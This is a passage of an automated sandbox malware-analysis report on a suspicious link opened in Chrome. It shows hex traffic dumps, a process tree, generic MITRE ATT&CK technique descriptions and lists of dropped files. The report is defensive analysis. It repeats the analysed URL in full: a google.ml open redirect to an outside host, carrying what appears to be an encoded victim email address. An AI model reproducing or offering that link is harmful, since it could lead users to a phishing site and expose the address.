80 ee 91 07 68 4a 1a 1a 6a 32 18 e6 6d 34 ac b4 23 70 0e 7e Data Ascii: r'%&Rymba+U.JqZ><7&YIM?TD,~G#y"dT!//+KK%i{(EP0hVF.A$eZ2+\|f'i%&IeC#w{5cu$3ElnV+7z+Y@`GrkFupmhJj2m4#p~
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: 4a 8d a3 b4 37 c3 e1 8d 39 a2 b8 aa f7 03 84 0a b5 93 8a 13 4d 3d cc 7b e1 2c db 54 f7 15 00 36 d5 51 50 8d 5c aa 69 f2 cf 1d 96 ad f6 a4 b5 29 c9 3b b2 5c c8 b0 d8 13 13 2b b3 0a 10 37 16 01 72 c8 53 e3 d7 13 4a ba a9 b8 7c cd 27 b5 78 b6 b5 61 7b 3c 29 28 8a 84 5b 3d 51 83 3d 00 93 b9 42 b0 ab 0e dc f4 ae 39 bc 9e 79 50 9c 13 66 16 f7 ec 83 8f 93 c5 6d 0c 2b 6e cb 13 4f 33 24 2d 5b 86 1b e3 3b 0a d3 72 e7 51 9b 13 ae 47 18 78 34 dd 96 e5 ff 00 42 6a e4 ca f1 f6 9c ed cc 17 cf e4 f0 a4 f5 fb f9 64 22 14 03 23 e4 7c d1 12 a2 4d a0 0c c6 3b 79 39 29 58 c4 c6 85 b6 80 7c ec 11 5b f2 73 35 bd c2 de da a6 c0 97 01 1a 30 d4 45 04 85 21 4e d0 d5 00 f5 d7 1d 3c 36 6e aa 54 3e c5 22 df 07 61 3d d1 31 c2 0b 14 ac 91 84 2a a1 40 a5 77 6e a7 a8 1a eb 8a b3 26 cc 35 Data Ascii: J79M={,T6QP\i);\+7rSJ\|'xa{<)([=Q=B9yPfm+nO3$-[;rQGx4Bjd"#\|M;y9)X\|[s50E!N<6nT>"a=1*@wn&5
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: aa ce 55 da b5 f8 7a e4 f9 39 2f 66 92 c7 c7 c2 1a 72 55 bc e5 77 c1 2c 70 91 e5 94 9d eb 08 21 03 9a 51 89 63 9e d4 aa 8a 7c 71 a7 1f 06 53 7a 2e e1 00 88 ed 7c 8a f2 4a 49 67 ab 6f 19 29 35 c7 6b 71 a1 52 5c b5 b7 51 29 12 8a 46 91 17 2f 97 e8 c9 ce 75 a9 cf 2a 0c 45 9e 30 23 4d 25 ed bd 95 a0 92 d6 48 56 79 93 6e c1 29 90 6d 92 30 b9 ac 61 8a b1 62 4d 59 86 42 9a 65 8e 1f b4 ee e1 cc 22 10 02 d6 29 6e 79 58 23 33 33 91 94 62 52 76 2c 6b f5 35 6b 92 8a 68 3a 63 ad c5 68 dc 14 12 f7 dc 5b ae ec ee 05 d9 94 34 5b 21 f1 85 64 86 34 fa 23 51 1f d3 ae ec f3 f5 ae 39 fc 2e 46 d3 4d 47 f5 f5 04 67 ae 6d 21 8c 42 a8 3b ee 33 1b c9 a2 b0 ca 94 a7 c7 1d 8a cd b0 4c dc 7b 4a 2b 9e 32 71 64 91 bc 32 cd bd e7 57 5f 24 4c a9 13 3d 0a 50 49 b8 6e 56 51 5a 1e bf 0f 37 Data Ascii: Uz9/frUw,p!Qc\|qSz.\|JIgo)5kqR\Q)F/u*E0#M%HVyn)m0abMYBe")nyX#33bRv,k5kh:ch[4[!d4#Q9.FMGgm!B;3L{J+2qd2W_$L=PInVQZ7
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: fb 91 29 8e 43 fc 7d a5 c2 5a 4f 04 7e 43 70 13 cd 74 a8 29 b9 00 26 87 af 60 fe 39 63 83 9b 95 6e 4d fe dd 09 6c 17 cb c1 34 86 38 be 85 2b e5 0c 73 56 ad 68 37 6a 5b 5a fa 69 8e 9e 0b 25 91 ac 14 ad ed a5 55 00 0d b2 51 aa 49 a0 da 28 47 f1 c7 45 ac 0d 9b ae 1e db 89 93 8c 9e e1 2c 24 bb 9a d8 f9 89 91 49 59 d9 c6 d4 47 11 ef 44 a4 82 8a 74 a6 ba e3 c5 f2 39 2e b9 21 da 13 c7 cb bb f5 32 9c 89 c5 f0 f2 11 6d 14 97 67 ec 6e 23 49 60 93 ca b5 4a 2b 08 d7 76 ca a4 84 ee fa 7f 1c 47 3f 93 ac 29 b2 79 c6 bf e0 1b 1d ee bb 08 9b 80 b8 ba 24 cd 75 3d 25 df 1c 8b b1 45 43 4a b2 a2 bb 2b d1 73 2c 07 a6 32 f0 3c 8f fd ca 91 09 63 4f c2 30 55 5e 40 bc 3c d7 4b 4b 5b a7 8b c2 50 88 d6 52 b1 fd 34 14 e8 73 a5 3d 71 ea 79 3c 55 fd ca 64 a6 5a f7 2f 28 63 e3 3e ca 0b Data Ascii: )C}ZO~Cpt)&`9cnMl48+sVh7j[Zi%UQI(GE,$IYGDt9.!2mgn#I`J+vG?)y$u=%ECJ+s,2<cO0U^@<KK[PR4s=qy<UdZ/(c>
2024-11-14 15:40:00 UTC	16384	IN	Data Raw: 45 68 11 e3 99 d8 3a 47 1a 1d ca 4b 01 b9 7b 74 f9 63 93 c8 b5 76 c9 9b b1 37 b9 7d af ce 59 5c 35 ed ce fb a1 c8 cd 2e d0 a4 b3 e4 d5 3b 8e e6 19 d6 be a3 13 e3 f9 74 e4 c2 e8 0a d2 50 e1 f8 b1 c8 22 49 76 8b 1d bd e3 98 63 bd da 48 52 a5 5e 43 1a 0a 54 81 41 95 4d 0e 1f 3f 33 e3 fd ba ae 80 ed 05 8b 8b 2e 32 58 e6 b5 8e 71 1c 30 80 20 bc 68 d4 4d 2e d8 c3 12 ca b5 3f 56 41 41 39 53 19 7d ee 44 d5 a2 5b d5 74 42 52 03 82 de 67 ba 8e 2d be 42 df b6 a1 08 a9 1e 95 cc 0c 7a 1b 94 49 72 1c b7 e3 6d 6d 2d b6 4f 0c f1 f2 b1 94 30 42 ea e5 16 16 03 bd 82 e4 4b 6e ed 39 28 a6 39 ef c8 de 8d 6d 26 5b 2f 5f cb 29 82 37 b9 b1 32 41 6a 7e dc 1c 9f f6 e2 92 8d 98 89 7c 5b 76 ed 24 e6 c7 d7 1c f5 89 69 3c bf 8f a9 29 15 39 18 23 e5 79 1b 7e 3e c6 d5 e2 9d 9a 90 c2 1a Data Ascii: Eh:GK{tcv7}Y\5.;tP"IvcHR^CTAM?3.2Xq0 hM.?VAA9S}D[tBRg-BzIrmm-O0BKn9(9m&[/_)72Aj~\|[v$i<)9#y~>
2024-11-14 15:40:01 UTC	16384	IN	Data Raw: f3 ce 84 60 bb 84 26 5f 78 2e a4 80 c6 63 0a 64 72 24 6c f6 2a a9 c8 12 54 85 39 74 c6 15 b5 53 99 11 d7 9c 78 b4 8a 3b 7b 69 10 cb 21 5f 20 5d d5 22 87 26 a5 16 95 6d 08 cf e5 83 8b 9b 7b 6d ac 20 4c b3 67 65 c8 34 0b 1f 6b 6e 8c c8 51 c0 55 51 5a 10 76 d2 b5 db 5f f9 63 1e 5e 4e 39 91 13 da f0 53 4c d1 a3 ee 8e dd 0d 6e 03 9d aa 2a 72 d4 83 d4 f5 cf f0 c4 72 79 49 4b d5 f4 13 b0 4d ad 56 f6 78 ed ad 77 c1 2a 96 3e 45 0b 59 36 80 3b 55 4e 40 03 5c 8e 64 fa e3 9b 8d ba a7 6b 65 3e 9d 89 6e 0d f7 fe 3c e0 ec f8 8b 3b 9e 54 c9 3b 2d bb bc 8f 2c 8a d1 c0 b5 3b 3b 37 29 d7 f5 30 a6 58 f1 ff 00 97 e5 bd da 49 28 8f ab f4 34 ab 32 7e f9 92 7f 74 7b 94 c9 c7 df 48 2d 59 17 7a 66 a8 be 24 52 cc 10 e8 8c ee 69 dd 9e b9 e5 8e ef e3 dd 3c 7e 19 b5 54 ff 00 70 76 83 Data Ascii: `&_x.cdr$lT9tSx;{i!_ ]"&m{m Lge4knQUQZv_c^N9SLnrryIKMVxw*>EY6;UN@\dke>n<;T;-,;;7)0XI(42~t{H-Yzf$Ri<~Tpv

Target ID:	0
Start time:	10:39:11
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	10:39:12
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1704,i,12455793612824541340,17080539977418563069,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:39:13
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Windows Analysis Report
https://www.google.ml/url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t